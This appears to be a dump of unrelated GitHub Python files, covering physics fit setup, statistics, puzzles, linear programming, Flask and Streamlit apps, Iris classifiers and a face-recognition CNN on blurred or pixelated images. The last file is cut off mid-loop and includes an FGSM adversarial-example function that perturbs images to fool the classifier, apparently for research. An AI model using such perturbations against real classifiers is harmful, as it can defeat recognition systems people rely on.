5.591)\nbMassRegions['SB']   = createBmassTemplate(\"SB\",   4.9, 5.9)\nbMassRegions['NSB']   = createBmassTemplate(\"NSB\", 5.2, 5.6)\nbMassRegions['SB']['cutString'] = \"({0}) && !({1})\".format(bMassRegions['SB']['cutString'], bMassRegions['NSB']['cutString'])\n\n# systematics\nbMassRegions['altFit'] = createBmassTemplate(\"altFit\", 4.9, 5.90)\nbMassRegions['altSR']  = createBmassTemplate(\"altSR\", 5.25, 5.45)\nbMassRegions['altLSB'] = createBmassTemplate(\"altLSB\", 5.1, 5.25)\nbMassRegions['altUSB'] = createBmassTemplate(\"altUSB\", 5.45, 5.60)\nbMassRegions['altSB']  = createBmassTemplate(\"altSB\", 5.10, 5.60)\nbMassRegions['altSB']['cutString'] = \"({0}) && !({1})\".format(bMassRegions['altSB']['cutString'], bMassRegions['altSR']['cutString'])\n\nbMassRegions['altFit_vetoJpsiX'] = createBmassTemplate(\"altFit_vetoJpsiX\", 5.18, 5.80)\nbMassRegions['altSR_vetoJpsiX']  = createBmassTemplate(\"altSR_vetoJpsiX\", 5.18, 5.38)\nbMassRegions['altLSB_vetoJpsiX'] = createBmassTemplate(\"altLSB_vetoJpsiX\", 5.18, 5.18)\nbMassRegions['altUSB_vetoJpsiX'] = createBmassTemplate(\"altUSB_vetoJpsiX\", 5.38, 5.80)\nbMassRegions['altSB_vetoJpsiX']  = createBmassTemplate(\"altSB_vetoJpsiX\", 4.76, 5.80)\nbMassRegions['altSB_vetoJpsiX']['cutString'] = \"({0}) && !({1})\".format(bMassRegions['altSB_vetoJpsiX']['cutString'], bMassRegions['altSR_vetoJpsiX']['cutString'])\n\n","repo_name":"pkalbhor/bstophimumufitter","sub_path":"BsToPhiMuMuFitter/anaSetup.py","file_name":"anaSetup.py","file_ext":"py","file_size_in_byte":5138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"8499246440","text":"import collections\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\n\nfrom FileUtil import FileUtil\nfrom constants import Constants\nimport seaborn as sns\nimport stats.CliffDelta as cld\nfrom scipy import stats\n\n\nclass AggregateAnalysis:\n\n    def process(self, age):\n        print(\"start calculating aggregated project corr values of SLOC with revisions and bugs.......\")\n        age730 = FileUtil.load_json(Constants.BASE_PATH + \"age/age_norm_\" + str(age) +\".json\")\n        df = pd.DataFrame.from_dict(age730[\"data\"])\n        # considering all methods that are at least 2 years of age\n        df = df[df[\"shouldSkipXMethods\"] == False]\n\n        result = []\n        self.append_to_result(result, df, \"sloc\", \"allChanges\")\n        self.append_to_result(result, df, \"sloc\", \"bugCount\")\n        \n        pd.DataFrame.from_dict(result).to_csv(Constants.BASE_PATH + \"Aggregate/aggregated_analysis_metrics.csv\")\n\n        self.render_corr_sloc_with_revision_bugs(age)\n        print(\"Done aggregated analysis.....\")\n\n    def append_to_result(self, result, df, grp1, grp2):\n        label = grp1 + \"_vs_\" + grp2\n        result.append(self.apply_stats(df[grp1], df[grp2], label, 'all', stats_to_apply=\"kendall\"))\n       \n\n    def apply_stats(self, x1, x2, label, repo, stats_to_apply=\"kendall\"):\n        if stats_to_apply == \"kendall\":\n            corr, p_value = stats.kendalltau(x1, x2)\n        elif stats_to_apply == 'spearman':\n            corr, p_value = stats.spearmanr(x1, x2)\n        else:\n            corr, p_value = stats.pearsonr(x1, x2)\n\n        return {\n            \"corr\": round(corr, 2),\n            \"p_value\": p_value,\n            \"significant\": 'yes' if p_value < 0.05 else \"no\",\n            \"group\": label,\n            \"repo\": repo,\n            \"type\": stats_to_apply\n        }\n\n    \n    def render_corr_sloc_with_revision_bugs(self, age_threshold=730):\n        data = pd.read_csv(Constants.BASE_PATH + \"age/all_age_norm_data_without_x_years_methods.csv\")\n        sloc_with_revisions = data[(data[\"age_threshold\"] == age_threshold) & (data[\"group\"] == \"sloc_vs_all_changes\")]\n        sloc_with_bugs = data[(data[\"age_threshold\"] == age_threshold) & (data[\"group\"] == \"sloc_vs_bugCount\")]\n\n        sns.set_style(\"whitegrid\")\n        sns.set_context(font_scale=3)\n        plt.figure(figsize=(7.5, 6))\n\n        sns.ecdfplot(sloc_with_revisions, x=sloc_with_revisions[\"corr\"], linewidth=2, marker=\">\", markersize=15)\n        sns.ecdfplot(sloc_with_bugs, x=sloc_with_bugs[\"corr\"], linewidth=2, marker=\"o\", markersize=15)\n        \n       \n        legend_props = {\"weight\": \"bold\", \"size\": 18, \"family\": \"monospace\"}\n\n        plt.legend([\"#Revisions\", \"#Bugs\"], prop=legend_props, loc=\"upper left\",  frameon=False)\n        plt.xlabel(\"Correlation Values\", fontsize=18, weight=\"bold\")\n        plt.xticks(fontsize=18, weight=\"bold\")\n        plt.yticks(fontsize=18, weight=\"bold\")\n        plt.ylabel(\"CDF\", fontsize=18, weight=\"bold\")\n        plt.savefig(\n            Constants.BASE_PATH +\"plots/\" + \"aggregate_project_analysis.pdf\",\n            bbox_inches='tight')\n        plt.show()\n\n\n    \n\n    \n\n\n# a = AggregateAnalysis()\n# a.process()","repo_name":"anonymousxtest/methodological-choices-impact","sub_path":"scripts/src/AggregateAnalysis.py","file_name":"AggregateAnalysis.py","file_ext":"py","file_size_in_byte":3162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38003812036","text":"# python 3\n\nfrom collections import deque\n\n\ndef find_min_max(arr, k):\n    n = len(arr)\n    ans = 0\n\n    queue_min = deque()\n    queue_max = deque()\n\n    for i in range(n):\n        if queue_max and queue_max[0] <= i - k:\n            queue_max.popleft()\n        if queue_min and queue_min[0] <= i - k:\n            queue_min.popleft()\n\n        while queue_max and arr[queue_max[-1]] <= arr[i]:\n            queue_max.pop()\n        queue_max.append(i)\n\n        while queue_min and arr[queue_min[-1]] >= arr[i]:\n            queue_min.pop()\n        queue_min.append(i)\n\n        if i >= k - 1:\n            ans += arr[queue_min[0]] + arr[queue_max[0]]\n\n    return ans\n\n\ndef main():\n    arr = list(map(int, input().split()))\n    k = int(input())\n    print(find_min_max(arr, k))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"HJ1X/dsa-450","sub_path":"stacks_and_queues/queues/sliding_window/sum_of_min_and_max_in_every_window.py","file_name":"sum_of_min_and_max_in_every_window.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"71496671402","text":"\"\"\"\r\nProblem 45: Triangular, pentagonal, and hexagonal\r\n\"\"\"\r\n\r\nnumbers = [{\r\n    'position': 0,\r\n    'number': 1,\r\n    'index': 1,\r\n    'f': lambda x: x * (x + 1) / 2\r\n}, {\r\n    'position': 1,\r\n    'number': 1,\r\n    'index': 1,\r\n    'f': lambda x: x * (3 * x - 1) / 2\r\n}, {\r\n    'position': 2,\r\n    'number': 1,\r\n    'index': 1,\r\n    'f': lambda x: x * (2 * x - 1)\r\n}]\r\n\r\nwhile True:\r\n    if len(set(map(lambda x: x['number'], numbers))) == 1:\r\n        if numbers[0]['number'] > 40755:\r\n            print(numbers[0]['number'])\r\n            break\r\n\r\n    next_ = min(numbers, key=lambda x: x['number'])['position']\r\n    numbers[next_]['index'] += 1\r\n    numbers[next_]['number'] = numbers[next_]['f'](numbers[next_]['index'])\r\n","repo_name":"Desmondflexy/Project-Euler-Solutions","sub_path":"e045b.py","file_name":"e045b.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"1042200505","text":"from pulp import *\r\n\r\nimport numpy as np, pandas as pd\r\n\r\nimport warnings\r\n\r\nwarnings.filterwarnings('always')\r\n\r\nwarnings.filterwarnings('ignore')\r\nprob = LpProblem('Diet_Problem', LpMinimize)\r\ndf = pd.read_excel('diet.xls',nrows=17)\r\ndf.head() #Here we see the data\r\nfood = list(df.Foods)\r\n#The list of items\r\ncount=pd.Series(range(1,len(food)+1))\r\nprint('List of different food items is here follows: -')\r\nfood_s = pd.Series(food)\r\n#Convert to data frame\r\nf_frame = pd.concat([count,food_s],axis=1,keys=['S.No','Food Items'])\r\nf_frame\r\n# Create a dictinary of costs for all food items\r\ncosts = dict(zip(food,df['Price/Serving']))\r\n#Create a dictionary of calories for all items of food\r\ncalories = dict(zip(food,df['Calories']))\r\n#Create a dictionary of cholesterol for all items of food\r\nchol = dict(zip(food,df['Cholesterol (mg)']))\r\n#Create a dictionary of total fat for all items of food\r\nfat = dict(zip(food,df['Total_Fat (g)']))\r\n#Create a dictionary of sodium for all items of food\r\nsodium = dict(zip(food,df['Sodium (mg)']))\r\n#Create a dictionary of carbohydrates for all items of food\r\ncarbs = dict(zip(food,df['Carbohydrates (g)']))\r\n#Create a dictionary of dietary fiber for all items of food\r\nfiber = dict(zip(food,df['Dietary_Fiber (g)']))\r\n#Create a dictionary of protein for all food items\r\nprotein = dict(zip(food,df['Protein (g)']))\r\n#Create a dictionary of vitamin A for all food items\r\nvit_A = dict(zip(food,df['Vit_A (IU)']))\r\n#Create a dictionary of vitamin C for all food items\r\nvit_C = dict(zip(food,df['Vit_C (IU)']))\r\n#Create a dictionary of calcium for all food items\r\ncalcium = dict(zip(food,df['Calcium (mg)']))\r\n#Create a dictionary of iron for all food items\r\niron = dict(zip(food,df['Iron (mg)']))\r\n# A dictionary called 'food_vars' is created to contain the referenced Variables\r\nfood_vars = LpVariable.dicts(\"Food\",food,lowBound=0,cat='Continuous')\r\nprob += lpSum([costs[i]*food_vars[i] for i in food])\r\nprob\r\nlpSum([food_vars[i]*calories[i] for i in food])\r\nprob += lpSum([food_vars[x]*calories[x] for x in food]) >= 800, \"CaloriesMinimum\"\r\nprob += lpSum([food_vars[x]*calories[x] for x in food]) <= 1300, \"CaloriesMaximum\"\r\nprob\r\n#Carbohydrates' constraint\r\nprob += lpSum([food_vars[x]*carbs[x] for x in food]) >= 130, \"CarbsMinimum\"\r\nprob += lpSum([food_vars[x]*carbs[x] for x in food]) <= 200, \"CarbsMaximum\"\r\n#Fat's constraint\r\nprob += lpSum([food_vars[x]*fat[x] for x in food]) >= 20, \"FatsMinimum\"\r\nprob += lpSum([food_vars[x]*fat[x] for x in food]) <= 50, \"FatsMaximum\"\r\n#Protein's constraint\r\nprob += lpSum([food_vars[x]*protein[x] for x in food]) >= 100, \"ProteinsMinimum\"\r\nprob += lpSum([food_vars[x]*protein[x] for x in food]) <= 150, \"ProteinsMaximum\"\r\n#Vit_A constraint\r\nprob += lpSum([food_vars[x]*vit_A[x] for x in food]) >= 1000, \"Vit_A_Minimum\"\r\nprob += lpSum([food_vars[x]*vit_A[x] for x in food]) <= 10000, \"Vit_A_Maximum\"\r\nprob.solve()\r\nprob. solver\r\nLpStatus[prob.status]\r\nfor var in prob.variables():\r\n    print(f'Variable name: {var.name} , Variable value : {var.value()}n')\r\nprint('n')\r\nprint('*'*100)\r\nprint('n')\r\n#We can also see the slack variables of the constraints\r\nfor name, con in prob.constraints.items():\r\n    print(f'constraint name:{name}, constraint value:{con.value()}n')\r\nprint('*'*100)\r\nprint('n')\r\n## OBJECTIVE VALUE\r\nprint(f'OBJECTIVE VALUE IS: {prob.objective.value()}')\r\n","repo_name":"Saatvik420/Python-projects","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"31251306699","text":"from flask import Flask, redirect, url_for, render_template, request\nimport Task3\nfrom Task3 import change_map, write_to_file\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef home():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/register\", methods=[\"POST\"])\ndef register():\n    name = request.form.get(\"domain\")\n    token = request.form.get(\"tocken\")\n    return f\"{name} {token}\"\n    \n@app.route(\"/register/map\", methods=[\"POST\"])\ndef take_elements():\n    elements = register().split()\n    name = elements[0]\n    tocker = elements[1]\n    file_with_friends = write_to_file(name, tocker)\n    your_map = change_map(\"friends.json\")\n    return your_map.get_root().render()\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"kkovalchychka/twitter_map","sub_path":"program.py","file_name":"program.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6240028250","text":"\"\"\"\nImplement a relational join as a MapReduce query:\nSELECT * \n\nFROM Orders, LineItem \n\nWHERE Order.order_id = LineItem.order_id\n\"\"\"\n\nimport MapReduce\nimport sys\n\n\nmr = MapReduce.MapReduce()\n\n\ncounter = 0\ndef mapper(record):\n    global counter\n    # key: table identifier\n    # value: document contents\n    key = record[1]\n    value = record\n    mr.emit_intermediate(key, value)\n\ndef reducer(key, values):\n    total=[]\n    # key: word\n    # values: list of occurrence counts\n    order = [value for value in values if value[0] == \"order\"]\n    line_items = [value for value in values if value[0] == \"line_item\"]\n    for l in line_items:\n        total.append(order[0] + l)\n    for t in total:\n        mr.emit(t)\n\nif __name__ == '__main__':\n    inputdata = open(sys.argv[1])\n    mr.execute(inputdata, mapper, reducer)\n","repo_name":"joanenricb/Data-Science---Washington-University","sub_path":"MapReduce/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7201280924","text":"# 처음에는 그냥 무작정 factorial 계산을 하고\n# 뒤에서 부터 0의 개수를 셌다.\n\nimport sys\nfrom math import factorial\n\nn = int(sys.stdin.readline())\n\nn = str(factorial(n))\n\n\ncount = 0\n\nfor i in range(len(n)-1, -1, -1):\n    if n[i] == \"0\":\n        count += 1\n    else:\n        break\n\nprint(count)\n\n\n# 위의 코드보다 간결하게 작성하여 보자\n# factorial 문제라고 마냥 다 계산해버리면 오래걸릴 수도 있다.\n# 숫자 뒤에 0이 나온다는 것은?\n# 10의 배수라는 것이다\n# 그렇다면 10이 나오기 위해서는 ?\n# 10의 약수인 2,5가 존재해야한다.\n# 5의 배수가 존재한다면 2의 배수는 당연하게 존재할 것이다, ( 5 > 2 )\n# 따라서 5가 몇 번 들어가는지 구하면 된다\n\n# n = int(sys.stdin.readline())\n#\n# count = 1\n# total = 0\n#\n# while n >= 5**count:\n#     total += n//(5**count)\n#     count += 1\n#\n# print(total)\n\n\n","repo_name":"seong-wooo/Algorithm_Study","sub_path":"백준/단계별로풀어보기/정수론 및 조합론/1676_factorial_find_zero.py","file_name":"1676_factorial_find_zero.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"32032178654","text":"\n# Matthieu Brucher\n# Last Change : 2007-08-10 23:13\n\n\n\"\"\"\nA standard optimizer\n\"\"\"\n\nfrom . import optimizer\n\nclass StandardOptimizer(optimizer.Optimizer):\n  \"\"\"\n  A standard optimizer, takes a step and finds the best candidate\n  Must give in self.optimalPoint the optimal point after optimization\n  \"\"\"\n  def __init__(self, **kwargs):\n    \"\"\"\n    Needs to have :\n      - an object function to optimize (function), alternatively a function ('fun'), gradient ('gradient'), ...\n      - a way to get a new point, that is a step (step)\n      - a criterion to stop the optimization (criterion)\n      - a starting point (x0)\n      - a way to find the best point on a line (lineSearch)\n    Can have :\n      - a step modifier, a factor to modulate the step (stepSize = 1.)\n    \"\"\"\n    optimizer.Optimizer.__init__(self, **kwargs)\n    self.stepKind = kwargs['step']\n    self.optimalPoint = kwargs['x0']\n    self.lineSearch = kwargs['line_search']\n\n    self.state['new_parameters'] = self.optimalPoint\n    self.state['new_value'] = self.function(self.optimalPoint)\n\n    self.recordHistory(**self.state)\n\n\n  def iterate(self, forceDir=None):\n    \"\"\"\n    Implementation of the optimization. Does one iteration.\n    (Optional) Provide known direction to overide step call in 'forceDir'.\n    \"\"\"\n    self.state['old_parameters'] = self.optimalPoint\n    self.state['old_value'] = self.state['new_value']\n\n    if forceDir is None:\n      step = self.stepKind(self.function, self.optimalPoint, state = self.state)\n    else:\n      self.state['direction'] = forceDir\n      self.state['gradient'] = -forceDir\n      step = forceDir\n\n    self.optimalPoint = self.lineSearch(origin = self.optimalPoint,\n                                        function = self.function,\n                                        state = self.state)\n    try:\n      pest = self.function.pest\n    except AttributeError:\n      new_pars = self.optimalPoint\n    else:\n      # this would include self.optimalPoint if the lowest was found by the linesearch\n      new_pars = pest.pars_dict_to_array(pest.log[pest._lowest_res_log_ix].pars)\n      print(\"*** CHOSE pars with residual %.8f\" % pest.log[pest._lowest_res_log_ix].residual_norm)\n    self.state['new_parameters'] = new_pars\n\n    self.state['new_value'] = self.function(new_pars)\n\n    self.recordHistory(**self.state)\n\n","repo_name":"robclewley/pydstool","sub_path":"PyDSTool/Toolbox/optimizers/optimizer/standard_optimizer.py","file_name":"standard_optimizer.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","stars":159,"dataset":"github-code","pt":"19"}
{"seq_id":"15032220693","text":"# Dependencies\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LogisticRegression, LinearRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import accuracy_score\n\n# Loading data\nurl = \"https://raw.githubusercontent.com/callxpert/datasets/master/iris.data.txt\"\nnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class']\ndataset = pd.read_csv(url, names=names)\n\n# Data details\nprint('Data shape: ', dataset.shape)\nprint('------------------------------------------------------------------------------')\nprint('Data first 10:\\n ', dataset.head(10))\nprint('------------------------------------------------------------------------------')\nprint('Data stats:\\n ', dataset.describe())\nprint('------------------------------------------------------------------------------')\n\n# Class distribution HOW MANY OBJECT HAVE DIFFERENT FLOWER\nprint('How many objects have different flower:\\n', dataset.groupby('class').size())\nprint('------------------------------------------------------------------------------')\n\n# Box and whisker plots\ndataset.plot(kind='box', subplots=True, layout=(2,2), sharex=False, sharey=False)\n#plt.show()\n\n# Histogram\ndataset.hist()\nplt.show()\n\n# Scatter plot matrix IMPORTANT FEATURES WITH RESPECT TO OTHER\npd.plotting.scatter_matrix(dataset, alpha=0.5, figsize=(8, 8), diagonal='kde')\nplt.show()\n\n# Splitting the data\narray = dataset.values\nX = array[:,0:4]\nY = array[:,4]\nfeatures_train, features_test, labels_train, labels_test = train_test_split(X, Y, test_size=0.2, random_state=7)\n\n# Parameters for GridSearch for different algorithms\nparam_SVC = {'kernel':('linear','rbf','poly'), 'C':[1,10,100,1000], 'gamma':[0.0001,0.001,0.01,0.1,1], 'degree':[0,1,2,3]}\nparam_KN = {'n_neighbors':[1,2,3,4,5], 'algorithm':('auto', 'ball_tree', 'kd_tree'), 'leaf_size':[10,20,30]}\nparam_RF = {'n_estimators':[2,3,4,5,6,7,8,10,12,14], 'min_samples_split':[2,3,4,5,6], 'min_samples_leaf':[1,2,3,4]}\n# param_LogisticR = {'penalty':('l1','12')}\n\n# Making a models and fit the data\nclf_SVC = GridSearchCV(SVC(),param_SVC)\nclf_SVC.fit(features_train,labels_train)\n\nclf_KN = GridSearchCV(KNeighborsClassifier(), param_KN)\nclf_KN.fit(features_train,labels_train)\n\nclf_RF = GridSearchCV(RandomForestClassifier(), param_RF)\nclf_RF.fit(features_train,labels_train)\n\nclf_LogisticR = LogisticRegression()\nclf_LogisticR.fit(features_train,labels_train)\n\n# Prediction with help of different models\npred_SVC = clf_SVC.predict(features_test)\npred_KN = clf_KN.predict(features_test)\npred_RF = clf_RF.predict(features_test)\npred_LogisticR = clf_LogisticR.predict(features_test)\n\n# Printing the score\nprint('SVC score: ', accuracy_score(labels_test, pred_SVC))\nprint('KN score: ', accuracy_score(labels_test, pred_KN))\nprint('RF score: ', accuracy_score(labels_test, pred_RF))\nprint('Logistic score: ', accuracy_score(labels_test, pred_LogisticR))\n\n","repo_name":"MKwiatosz/Programming","sub_path":"Python/Python_/IRIS/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"36204882444","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\n\r\ndata=pd.read_csv(\"data//Salary_Data.csv\")\r\nlr=LinearRegression()\r\nx = np.array(data['YearsExperience']).reshape(-1,1)\r\nlr.fit(x,np.array(data['Salary']))\r\nst.title(\"Salary Predictor\")\r\n\r\nnav= st.sidebar.radio(\"Navigation\",['Home' , 'Prediction' , 'Contribute'])\r\nif nav=='Home':\r\n    st.image(\"data//salary.jpj\")\r\n    if st.checkbox(\"Show Table\"):\r\n        st.table(data)\r\n    graph= st.selectbox(\"select graph\",[\"Non-interactive\",\"Interactive\"])\r\n    val= st.slider('Filter data ',0,20,value=5)\r\n    data=data.loc[data['YearsExperience']>val]\r\n    if graph ==\"Non-interactive\" :\r\n        fig,ax =plt.subplots()\r\n        plt.figure(figsize=(10,5))\r\n        ax.scatter(data['YearsExperience'],data['Salary'])\r\n        plt.xlabel('years of experience')\r\n        plt.ylabel('Salary')\r\n        plt.title('Scatter plt')\r\n        st.pyplot(fig)\r\n\r\n    if graph ==\"Interactive\" :\r\n        fig, ax = plt.subplots()\r\n        plt.figure(figsize=(10, 5))\r\n        ax.scatter(data['YearsExperience'], data['Salary'])\r\n        plt.xlabel('years of experience')\r\n        plt.ylabel('Salary')\r\n        plt.title('Scatter plt')\r\n        st.pyplot_chart(fig)\r\n\r\nif nav == \"Prediction\":\r\n    st.image(\"data//salary.jpj\")\r\n    st.header(\"Know your Salary\")\r\n    val = st.number_input(\"Enter you exp\",0.00,20.00,step=0.25)\r\n    val = np.array(val).reshape(1,-1)\r\n    pred =lr.predict(val)[0]\r\n\r\n    if st.button(\"Predict\"):\r\n        st.success(f\"Your predicted salary is {round(pred)}\")\r\nif nav == \"Contribute\":\r\n    st.image(\"data//salary.jpj\")\r\n    st.header(\"Contribute to our dataset\")\r\n    ex = st.number_input(\"Enter your Experience\",0.0,20.0)\r\n    sal = st.number_input(\"Enter your Salary\",0.00,1000000.00,step = 1000.0)\r\n    if st.button(\"submit\"):\r\n        to_add = {\"YearsExperience\":[ex],\"Salary\":[sal]}\r\n        to_add = pd.DataFrame(to_add)\r\n        to_add.to_csv(\"data//Salary_Data.csv\",mode='a',header = False,index= False)\r\n        st.success(\"Submitted\")\r\n\r\n\r\n\r\n\r\n","repo_name":"TarunKumar19/Salary_Prediction_App-Streamlit","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2112,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"24287383510","text":"from flask import render_template, flash, redirect, url_for\n\nfrom app.firestore_service import get_todos, put_todo, delete_todo, update_todo\nfrom app.forms import TodoForm\n\nfrom flask_login import login_required, current_user\n\n\nfrom . import tasks\n\n\n# Private Area Example\n@tasks.route('/list', methods=['GET', 'POST'])\n@login_required\ndef list():\n  user_id = current_user.id\n\n  task_form = TodoForm()\n\n  if task_form.validate_on_submit():\n    put_todo(user_id, task_form.description.data)\n    flash('New Task created!', 'success')\n    return redirect(url_for('tasks.list'))\n\n  context = {\n    'todos': get_todos(user_id),\n    'task_form': task_form\n  }\n  return render_template('tasks.html', **context)\n\n\n@tasks.route('/delete/<string:todo_id>', methods=['GET'])\n@login_required\ndef delete(todo_id):\n  user_id = current_user.id\n  delete_todo(user_id=user_id, todo_id=todo_id)\n\n  flash('Task removed', 'success')\n\n  return redirect(url_for('tasks.list'))\n\n@tasks.route('/status/<string:todo_id>/<int:done>', methods=['GET'])\n@login_required\ndef status(todo_id, done):\n  user_id = current_user.id\n\n  update_todo(user_id=user_id, todo_id=todo_id, done=done)\n\n  flash('Task updated', 'success')\n\n  return redirect(url_for('tasks.list'))","repo_name":"danielm/flask-base","sub_path":"app/tasks/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"6215912400","text":"# %%\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as transforms\nfrom torch.utils.data import Dataset, DataLoader\nimport os\nimport numpy as np\nfrom PIL import Image\nimport torchvision.utils\nimport matplotlib.pyplot as plt\n\n# This is for the progress bar.\nfrom tqdm.auto import tqdm\n\n# %%\n# parameters\nbatch_size = 4\nn_epochs = 10\npatience = 5  # If no improvement in 'patience' epochs, early stop\n\n## blur\n### b15\n# train_set_dir = \"blur/15/train\"\n# test_set_dir = \"blur/15/test\"\n# model_path = \"./model_b15.ckpt\"\n\n### b45\n# train_set_dir = \"blur/45/train/\"\n# test_set_dir = \"blur/45/test/\"\n# model_path = \"./model_b45.ckpt\"\n\n### b99\n# train_set_dir = \"blur/99/train/\"\n# test_set_dir = \"blur/99/test/\"\n# model_path = \"./model_b99.ckpt\"\n\n## pixel\n### p4\n# train_set_dir = \"pixel/4/train/\"\n# test_set_dir = \"pixel/4/test/\"\n# model_path = \"./model_p4.ckpt\"\n\n### p8\n# train_set_dir = \"pixel/8/train/\"\n# test_set_dir = \"pixel/8/test/\"\n# model_path = \"./model_p8.ckpt\"\n\n### p16\n# train_set_dir = \"pixel/16/train/\"\n# test_set_dir = \"pixel/16/test/\"\n# model_path = \"./model_p16.ckpt\"\n\n### ori\ntrain_set_dir = \"att_img_flat/train/\"\ntest_set_dir = \"att_img_flat/test/\"\nmodel_path = \"./model_ori.ckpt\"\n\n# %%\ntransform = transforms.Compose(\n    [\n        transforms.ToTensor(),\n        transforms.Resize((128, 128), antialias=True),\n        transforms.Normalize((0.5), (0.5)),\n    ]\n)\n\n\n# %%\nclass mydataset(Dataset):\n    def __init__(self, path, tfm=transform, files=None):\n        super(mydataset).__init__()\n        self.path = path\n        self.files = sorted(\n            [os.path.join(path, x) for x in os.listdir(path) if x.endswith(\".png\")]\n        )\n        if files:\n            self.files = files\n        print(f\"One {path} sample\", self.files[0])\n        self.transform = tfm\n\n    def __len__(self):\n        return len(self.files)\n\n    def __getitem__(self, idx):\n        fname = self.files[idx]\n        im = Image.open(fname)\n        im = self.transform(im)\n        try:\n            label = int(fname.split(\"s\")[-1].split(\"_\")[0])\n        except:\n            label = -1  # test has no label\n        return im, label\n\n\n# %%\ntrain_set = mydataset(train_set_dir, tfm=transform)\ntest_set = mydataset(test_set_dir, tfm=transform)\n\ntrain_loader = DataLoader(\n    train_set, batch_size=batch_size, shuffle=True, num_workers=0, pin_memory=True\n)\ntest_loader = DataLoader(\n    test_set, batch_size=batch_size, shuffle=True, num_workers=0, pin_memory=True\n)\n\n# %%\nclass Net(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.cnn = nn.Sequential(\n            nn.Conv2d(1, 64, 1, 1, 1),  # [64, 128, 128]\n            nn.BatchNorm2d(64),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2, 0),  # [64, 64, 64]\n            nn.Conv2d(64, 128, 3, 1, 1),  # [128, 64, 64]\n            nn.BatchNorm2d(128),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2, 0),  # [128, 32, 32]\n            nn.Conv2d(128, 256, 3, 1, 1),  # [256, 32, 32]\n            nn.BatchNorm2d(256),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2, 0),  # [256, 16, 16]\n            nn.Conv2d(256, 512, 3, 1, 1),  # [512, 16, 16]\n            nn.BatchNorm2d(512),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2, 0),  # [512, 8, 8]\n            nn.Conv2d(512, 512, 3, 1, 1),  # [512, 8, 8]\n            nn.BatchNorm2d(512),\n            nn.ReLU(),\n            nn.MaxPool2d(2, 2, 0),  # [512, 4, 4]\n        )\n        self.fc = nn.Sequential(\n            nn.Linear(512 * 4 * 4, 1024),\n            nn.ReLU(),\n            nn.Linear(1024, 512),\n            nn.ReLU(),\n            nn.Linear(512, 41),\n        )\n\n    def forward(self, x):\n        out = self.cnn(x)\n        out = out.view(out.size()[0], -1)\n        return self.fc(out)\n\n\nnet = Net()\n\n# %%\ndef fgsm_attack(model, loss, images, labels, eps) :\n# adversarial attack\n    \n    images = images.to(device)\n    labels = labels.to(device)\n    images.requires_grad = True\n\n    outputs = model(images)\n    \n    cost = loss(outputs, labels).to(device)\n    model.zero_grad()\n    cost.backward()\n\n    attack_images = images + eps*images.grad.sign()\n    attack_images = torch.clamp(attack_images, -1, 1)\n    \n    return attack_images\n\n#%%\ndef imshow(img):\n    npimg = img.numpy()\n    fig = plt.figure(figsize = (5, 15))\n    plt.imshow(np.transpose(npimg,(1,2,0)))\n    plt.show()\n\n# %%\ntorch.cuda.is_available = lambda: False\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# Initialize a model, and put it on the device specified.\nmodel = Net().to(device)\nmodel.load_state_dict(torch.load(model_path))\n\n\n# For the classification task, we use cross-entropy as the measurement of performance.\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=0.0003, weight_decay=1e-5)\n\n# Initialize trackers, these are not parameters and should not be changed\nstale = 0\nbest_acc = 0\n\nfor epoch in range(n_epochs):\n\n    # ---------- Testing ----------\n    # Make sure the model is in eval mode so that some modules like dropout are disabled and work normally.\n    model.eval()\n\n    # These are used to record information in testing.\n    test_loss = []\n    test_accs = []\n\n    # Iterate the testing set by batches.\n    for batch in tqdm(test_loader):\n\n        images, labels = batch\n        